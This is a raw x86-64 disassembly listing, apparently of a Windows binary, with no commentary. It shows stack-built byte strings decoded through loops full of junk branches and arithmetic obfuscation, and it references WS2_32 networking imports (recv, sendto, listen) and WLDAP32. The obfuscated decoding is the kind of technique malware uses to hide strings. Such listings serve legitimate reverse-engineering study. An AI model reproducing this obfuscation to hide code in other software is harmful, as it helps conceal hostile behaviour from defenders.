add r10b, 0x5d
jmp 0x14009af60
lea rcx, [rbp + 0x164b35c]
jmp 0x14009be34
lea rcx, [rbp + 0x7784b3]
jmp 0x14009be34
lea rcx, [rbp + 0xce8]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021ab30]
lea rcx, [rbp + 0x340]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x30]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov r14, rax
mov byte [rbp + 0x978], 0xf6
mov byte [rbp + 0x979], 0xc1
mov byte [rbp + 0x97a], 0xc1
mov byte [rbp + 0x97b], __WSAFDIsSet
mov byte [rbp + 0x97c], 0xf7
mov byte [rbp + 0x97d], 0xca
mov byte [rbp + 0x97e], Ordinal_200
mov byte [rbp + 0x97f], 0xc9
mov byte [rbp + 0x980], 0xbc
mov byte [rbp + 0x981], 0xac
mov byte [rbp + 0x982], 0xb8
mov byte [rbp + 0x983], 0xcb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x984], xmm0
mov dword [rbp + 0x994], eax
mov word [rbp + 0x998], ax
mov byte [rbp + 0x99a], al
movabs r15, 0x31234e4ca828d418
movabs r12, 0x71540b00490a5b78
movzx r11d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor esi, esi
movabs rcx, 0x63dd1c1c0801f1b8
cmp rsi, 0x23
jae 0x14009cc81
movzx edi, byte [rbp + rsi + 0x978]
mov rdx, rdi
cmp r8, rsi
ja 0x14009cc75
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14009bf73
add rcx, rsi
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 8
jmp 0x14009bfc0
je 0x14009cbed
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009cb56
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009cb23
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009cac2
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009ca98
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009ca66
nop word [rax + rax]
mov rbx, r8
cmp r9, rsi
ja 0x14009cc69
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x14009bff9
lea rdx, [rsi + r15]
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009c02d
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009ca0d
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009c9de
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009c9aa
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009c986
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rsi
jbe 0x14009c5cb
nop dword [rax]
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009c5a7
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009c57a
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009c54b
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009c50f
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14009c4d6
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009c4ad
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009c473
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009c040
mov r8, rax
lea r9, [rax + 1]
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009cc45
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x14009cc21
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x14009c1bd
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14009c1a2
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14009c410
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009c3b4
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009c35e
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x14009c040
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x41]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009c324
lea rax, [r9 + 8]
cmp r8, rax
ja 0x14009c2fb
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14009c2d2
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x14009c299
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14009c266
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14009c23c
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14009c20f
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14009c1eb
lea r8, [r9 + 0x1000]
lea r9, [r8 + 0x1000]
jmp 0x14009c040
lea rcx, [rsi + r12]
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x48
jmp 0x14009bfc0
movabs rcx, 0xa999d2c839067808
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
movabs rcx, 0x63dd1c1c0801f1b8
jmp 0x14009bf3e
movabs rcx, 0x891a72654146a0c0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
jmp 0x14009ca31
movabs rcx, 0xc1603a2d3142bd50
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x30
inc r9
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0xf9a601f5213ed9e0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x20
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0x6a31918501371300
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rdx, 0xa277594cf1332f90
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rdx, 0xdabd2114e12f4c20
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009cb74
movabs rdx, 0x1302e8dcd12b68b0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009cba7
movabs rdx, 0x4b48b0a4c1278540
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
movabs rcx, 0x903cebe08919e938
add rcx, rsi
movzx eax, cl
and al, dil
mov r11d, reloc.WLDAP32.dll_Ordinal_60
sub r11b, al
add r11b, r11b
add r11b, cl
add r11b, dil
cmp r9, 2
jb 0x14009c91b
movabs rcx, 0xca19332b30c64f50
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
add cl, dil
lea r11d, [rcx*2 - 0x60]
jmp 0x14009ca31
movabs rcx, 0xc882b3a8791605c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
cmp r8, 5
jae 0x14009c92b
lea rax, [r9 + 5]
cmp r8, rax
jbe 0x14009c820
movabs rdx, 0xfcd300fa909f6cf0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x14009c380
movabs rcx, 0xc87b7069122258
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
lea rax, [r8 + r9]
cmp rax, 9
je 0x14009c95b
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009c716
movabs rdx, 0xcbafb2ade87698d8
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009c3d3
movabs rdx, 0x26d3d5cbf0f4f890
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
movabs rdx, 0x975f655bd0ed31b0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009cb74
movabs rdx, 0xcfa52d23c0e94e40
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rdx, 0x7eaf4ebb0e56ad0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rdx, 0x7876847b90dda3f0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0xb0bc4c4380d9c080
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
inc r9
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0xe902140b70d5dd10
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x14009ca31
lea rax, [r9 + 0x20]
cmp rbx, rax
jae 0x14009c5fc
movabs rcx, 0x63dd1c1c0801f1b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 8
jmp 0x14009c42f
lea rax, [r9 + 1]
cmp rbx, rax
jne 0x14009c63f
movabs rcx, 0x62469c995051a830
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
lea r11d, [rcx + rdi]
sub r11b, 0x50
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 2]
cmp rbx, rax
jne 0x14009c670
movabs rcx, 0xf1bb0d0970596f10
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x14009cb74
lea rax, [r9 + 3]
cmp rbx, rax
jne 0x14009c6b9
movabs rdx, 0x812f7d79906135f0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 7]
cmp rbx, rax
jne 0x14009c6f5
movabs rdx, 0x10a3ede9b068fcd0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rsi
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 5]
cmp rbx, rax
jne 0x14009c42f
movabs rdx, 0xd85e2621c06ce040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14009ca75
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c737
movabs rdx, 0x9369eae5f87a7c48
mov ecx, 4
jmp 0x14009ca1c
inc rax
cmp r8, rax
jne 0x14009c76d
movabs rcx, 0x22de5b5618824328
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
dec rsi
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009c7b1
movabs rcx, 0xb252cbc6388a0a08
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x38
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c7de
movabs rcx, 0x7a0d03fe488ded78
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
jmp 0x14009cb3d
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009c3d3
movabs rcx, 0xd13baca6789997c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009c867
movabs rdx, 0xc48d3932a0a35060
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
inc rax
cmp r8, rax
jne 0x14009c89c
movabs rdx, 0x8c47716ab0a733d0
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009cba7
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009c8d2
movabs rdx, 0x5401a9a2c0ab1740
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14009cb74
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009c383
movabs rdx, 0xe3761a12e0b2de20
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
mov byte [rbp + rsi + 0x978], r11b
inc rsi
jmp 0x14009bf22
movabs rdx, 0x91d36b6340ca32c0
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx r11d, byte [rbp + rsi + 0x978]
sub r11b, al
sub r11b, 0x40
add r11b, dl
add r11b, dil
jmp 0x14009cae1
movabs rcx, 0x598da39b50ce1630
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, byte [rbp + rsi + 0x978]
lea r11d, [rdi + rcx]
sub r11b, 0x50
jmp 0x14009cb74
movabs rcx, 0xa73ad7d518440c28
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x14009cb74
movabs rcx, 0xdf809f9d084028b8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 8
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rdx, 0x8851f6f4d8347e68
add rdx, rsi
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rsi
inc rsi
jmp 0x14009bf22
movabs rdx, 0xf8dd8684b82cb788
mov ecx, 0x24
add rdx, rsi
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movabs rcx, 0x2df64f4738c84108
add rcx, rsi
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x38
add dil, cl
mov byte [rbp + rsi + 0x978], dil
inc r9
dec rsi
inc rsi
jmp 0x14009bf22
movabs rdx, 0xa1aedddc88210d38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, rsi
movzx eax, dl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0xd9f4a5a4781d29c8
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x78
dec rsi
inc rsi
jmp 0x14009bf22
movabs rcx, 0x123a6d6c68194658
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
movabs rdx, 0xf5b0877f48cc2478
add rdx, rsi
movzx eax, dl
and al, dil
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x48
add cl, dl
add cl, dil
mov byte [rbp + rsi + 0x978], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
movabs rcx, 0x82c5fcfc48117f78
add rcx, rsi
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x48
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x14009bf22
mov rdi, rdx
movabs rax, 0xbb0bc4c4380d9c08
add rax, rsi
and dl, al
add dl, dl
sub al, dl
lea r11d, [rdi + rax]
sub r11b, 0x38
movabs rdx, 0xbd6abfb758d007e8
add rdx, rsi
movzx eax, dil
and al, dl
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x58
add cl, dl
movzx eax, cl
mov byte [rbp + rsi + 0x978], al
inc r9
add rax, r9
sub rsi, rax
movabs rcx, 0x2147dbd360d1f9a0
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x60
add cl, dil
mov byte [rbp + rsi + 0x978], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
movabs rcx, 0x2b9754541805d528
add rcx, rsi
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x18
movzx eax, byte [rbp + rsi + 0x978]
add rax, r9
add rsi, rax
inc rsi
jmp 0x14009bf22
movabs rcx, 0xe1df9a9029029498
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x14009bf1e
movabs rcx, 0x1a25625818feb128
add rcx, rsi
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x18
jmp 0x14009bf0e
lea rcx, [rbp + 0x14e7118]
jmp 0x14009cc88
lea rcx, [rbp + 0x5062d0]
jmp 0x14009cc88
lea rcx, [rbp + 0x978]
mov rdx, r14
call fcn.1400353f0
lea rdx, [0x14021abb0]
lea rcx, [rbp + 0x360]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x40]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rsi, rax
mov byte [rbp + 0x9a0], 0xf6
mov byte [rbp + 0x9a1], 0x90
mov byte [rbp + 0x9a2], 0x81
mov byte [rbp + 0x9a3], 0x87
mov byte [rbp + 0x9a4], Ordinal_217
mov byte [rbp + 0x9a5], 0xe7
mov byte [rbp + 0x9a6], __WSAFDIsSet
mov byte [rbp + 0x9a7], 0x84
mov byte [rbp + 0x9a8], 0xb1
mov byte [rbp + 0x9a9], 0x83
mov byte [rbp + 0x9aa], 0xb3
mov byte [rbp + 0x9ab], 0xb5
mov byte [rbp + 0x9ac], 0xab
mov byte [rbp + 0x9ad], reloc.WS2_32.dll_listen
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x9ae], xmm0
mov dword [rbp + 0x9be], eax
mov byte [rbp + 0x9c2], al
movabs r14, 0xab43b72679cfa138
movabs r15, 0xc158b84c4bfd5c8
movabs r12, 0xe3646de2a0c47118
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor edi, edi
movabs rax, 0x14588ed111fdb258
cmp rdi, 0x23
jae 0x14009db70
movzx r11d, byte [rbp + rdi + 0x9a0]
mov rbx, r11
cmp r8, rdi
ja 0x14009db64
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14009cde5
lea rcx, [rdi + rax]
mov rax, rcx
and rax, rbx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rbx
sub r10b, 0x68
jmp 0x14009ce20
je 0x14009dadc
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009da3f
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009da07
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d9dd
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009d983
nop
cmp r9, rdi
ja 0x14009db58
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14009ce56
lea rdx, [rdi + r14]
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009ce90
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009d95b
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d92c
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009d8c5
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009d889
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x14009d484
nop dword [rax]
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009d45b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009d42e
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009d404
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009d3e0
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14009d3a4
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009d36b
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009d345
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009d321
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009cea0
lea r8, [r9 + 0x20]
lea r9, [r8 + 1]
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x14009db34
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14009db10
lea rax, [r9 + 1]
cmp r8, rax
jb 0x14009d067
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14009d047
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x14009d028
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x14009d2be
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14009d261
lea rcx, [r9 + 0x10]
cmp r8, rcx
jb 0x14009d20d
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009d1d9
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x14009cea0
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14009d19f
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14009d176
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x14009d152
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x14009d11e
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x14009d0eb
lea rcx, [r9 + 0x3e8]
cmp r8, rcx
ja 0x14009d0be
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14009d09a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14009cea0
mov r8, rcx
lea r9, [rcx + 9]
jmp 0x14009cea0
lea rdx, [rdi + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
add r10b, dl
jmp 0x14009ce90
lea rdx, [rdi + r12]
movzx eax, r11b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009ce20
movabs rdx, 0xbab350407cc90c68
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rax, 0x14588ed111fdb258
jmp 0x14009cdaf
movabs rcx, 0x5a1db933ce7d09c0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x40
jmp 0x14009d9a7
movabs rcx, 0x316c9b91aa81a510
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rdi
inc rdi
jmp 0x14009cd92
movabs rcx, 0xb75942ab3e8f7700
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
movabs rcx, 0x8ea825091a941250
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
movabs rcx, 0x65f70766f698ada0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14009da62
movabs rdx, 0x3d45e9c4d29d48f0
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009da92
movabs rdx, 0x1494cc22aea1e440
add rdx, rdi
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rdi + 0x9a0]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14009cd92
movabs rdx, 0xaeda020d54ad6888
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
mov byte [rbp + rdi + 0x9a0], r10b
inc rdi
jmp 0x14009cd92
movabs rdx, 0x8628e46b30b203d8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
cmp r9, 0x40
jb 0x14009d1fd
movabs rcx, 0x1b48e74d2b150f10
add rcx, rdi
movzx eax, cl
and al, r11b
mov edx, 8
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14009d9a7
movabs rcx, 0x5d77c6c90cb69f28
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
cmp r8, 5
jae 0x14009d834
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009d6cd
movabs rcx, 0x845dbef7c3432030
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
jmp 0x14009d231
movabs rcx, 0x34c6a926e8bb3a78
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
lea rax, [r8 + r9]
cmp rax, 0x7a
je 0x14009d85e
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14009d5fe
movabs rdx, 0xd91a07d149737ef8
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009d280
movabs rcx, 0xdae52d44b6e262a0
add rcx, rdi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
jmp 0x14009da92
movabs rdx, 0xb2340fa292e6fdf0
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x14009da5f
movabs rdx, 0x8982f2006eeb9940
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14009cd92
movabs rdx, 0x60d1d45e4af03490
add rdx, rdi
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
